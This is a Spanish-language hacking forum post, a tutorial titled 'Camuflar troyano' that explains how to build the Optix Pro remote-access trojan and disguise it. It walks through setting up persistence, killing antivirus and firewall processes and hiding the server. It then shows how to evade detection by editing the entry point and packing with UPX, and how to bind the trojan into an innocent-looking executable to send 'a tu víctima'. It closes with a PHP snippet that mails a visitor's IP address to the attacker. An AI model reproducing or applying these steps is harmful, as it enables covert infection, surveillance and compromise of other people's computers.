ForoHack.COM Mensaje - Camuflar troyano (con imagenes)

20:34:07 03/09/2010

ENTRAR EN WWW.ELHACKER.COM

ENTRAR EN WWW.TUJUEGA.COM v2

¿No estas registrado?

Responder

Tema: Camuflar troyano (con imagenes)

Todos Los Foros -> Troyanos y Virus -> Manuales/Explicaciones -> Camuflar troyano (con imagenes)

Autor

Mensaje (Ver Versión para Imprimir)

mig16
Usuario Veterano

Sin Imagen

Mensajes: 1324
Registrad@:
07/05/2004
Estado: Desconectad@

Ver último Post

Camuflar troyano (con imagenes)

Tutorial by mig16 Respeten la autoria!!!! ¬_¬

--------------------

En este tutorial les voy a enseñar el uso de el troyano \"Optix Pro\" en especifico, aunque la mayoria de troyanos funcionan igual.

Los programas que vas a necesitar

Optix Pro 3.1 (Troyano)
Dropper Gen (Binder)
lccwin32 (compilador para que sirva el binder)
ProcDump (Modifica el codigo hexadecimal)
Winrar (solo si no tienes un descompresor de archivos .rar)

buscalos en google

1er Paso Descomprimes todos los archivos e instalas el lccwin32 y el (winrar si es necesario)

Ahora vas a la carpeta del optix pro en Builder y ejecutas el Builder :
cuando es la primera vexz que lo abres te va a pedir que introduzcas la contraseña que viene escondida en el reglamento namas lee el reglamento y cuanod veas algo entre comillas ese es el pass lo pones y le das ok, despues te pide que selecciones lenguaje ya que entres veras esto:

ahora vamos a la ventana de Main settings

las 2 primeras opciones son para ver como se separan las notificaciones
lastima que las notificaciones no sirven :lol:

la 3era y cuarta opcion tambien son de notifcacion y no sirven entonces las saltamos

vamos a Server password aki si deseas introuces una contraeña para que solo tu te conectes al servidor =)

Fake error es por si quieres que cuanod tu victima ejecute el arxivo le aparezaca un pop up diciendo \"El programa esta dañado\" o lo qu quieras.... (no lo recomiendo , yo no confiaria de un .exe que me haga esas cosas)

Vamos a la pestaña de abvajo que dice Server icon y seleccionamos el icono de servidor

Ahora vamos a startup and installation

esta parte siempre la dejo por default

opcion 1 : que corra en el registro de todos los sistemas operativos

opcion2 : que corra en 2k/XP

opcion 3 : puedes seleccionar el nombre de la clave de registro que crearar el troyano

opcion 4 : que corra en 9x/Me en win.ini

opcion 5 : que ocrra en 9x/Me pero en system.ini

opcion 6 : la verdad no estoy seguro de como funciona ni que es a ciencia cierta (disculpen)

pasamos a file startup :

en el primer campo escojemos como se va a llamar el proceso que crea el troyano

Ahora seleccionamos si queremos que se guarde en la carpeta de system o en la de windows eso da igual =)

Melt server after installation osea que si depsues que se instalo que se pierda de la carpeta donde se instalo

pasamos a la siguiente pestaña de Firewall and AVS
(me salte las notificaciones por que no sirven)

primera opcion Mata los firewalls

segunda ocpion mata los antivirus

tercera opcion: mata los combos (av y firewall juntos)

en las pestañas de abajo que dicen specific exe\'s y la de NT/2k ,,,,,,,,,,,
specific exes es para que le pongas el exe que quieres que mate especificamente por ejemplo msnmsngr.exe entonces cuando se ejecute va a matar ese proceso y tambien cada vez que se incie ese programa..... el de NT/2k ... es lo mismo solo que se pone el nombre del servicio

ahora pasamos a enhaced options

aki si seleccionan la casilla el sever se va a hacer invisible en el registro y en la carpeta donde se guardo =) (peligroso si lo van a probar con ustedes) xD

luego le dan click en built creat server lo guardan y le dan click en \"ok all done\" ya tienen su server ahora vamos a lo interesante.

vamos a hacer el programa indetectable.

abrimos el procdump:

y le damos click en PE editor seleccionamos el \"server.exe\" que crearon y
en donde dice entry point:

van a aumentar el codigo de \"0009A84C\" a \"0009A84D\"

ese numero no siempre va a ser el mismo (depende de que troyano se use)

damos click en ok y cerramos el programa ya esta indetectable ( lastima que este metodo no sirve para kasperskey ni mcafee =(

ahora vamos a comprimir el \"server\" con upx simplemente arrastrandolo al icono de UPX

se esperan a que acabe la ventana del msdos y ya lo tendran compreso

como se muestra aqui:

ahora vamos al dropper gen

lo abrimos

y agregaremos dos arxivos primeor el que quieres que se ejecute \"visualmente\" y depsues el \"oculto\" como se muestra en el ejemplo marcaremos la casilla que dice Include icon para que se incluya el icono
que se guarda en DGNS needed, ese icono simplemente se cambia reemplazandolo por otro con el mismo nombre.

damos click en generate source code y cuando nos aparezca un pop up que diga. File saved as result c ya esta listo. haremos click en compile with lccwin32 y nos aparezera esta ventana de msdos:

esperamos a que acabe y buscamos en la carpeta de dropper gen el arxivo Result.exe ese es el troyano que tu le vas a mandar a tu victima! ya estas listo =)

ahora para hackear a tu vitcima le mandas el arxivo y lo tiene que ejecutar pero pues tu necesitas su ip : para eso vas a abrir un bloc de notas y vas a escribir

<?
$ip=$REMOTE_ADDR;
$hr=
mail(\"aqui_tu_correo@lo_que_quieras\",\"Ip\",\"$ip\"

;
?>

lo guardas como loquequieras.php y lo subes a tu pagina ahora mandas a tu victima a mipagina.com/loquequieras.php y te llegera el ip a tu correo (Para esto tu hosting tiene que tener mailer).

Autor: mig16

Por favor distribuyan este tutorial si les parece bueno en donde quieran (solo recuerden poner los derechos de autor)

cualquier duda mandeme un mp o agregenme al msn bye

***"Hacker" sin imaginacion no es hacker! ***

15/02/2005 01:43:05

LuCaSsSs
Usuario Casi Veterano

Mensajes: 1072
Registrad@:
24/11/2004
Estado: Desconectad@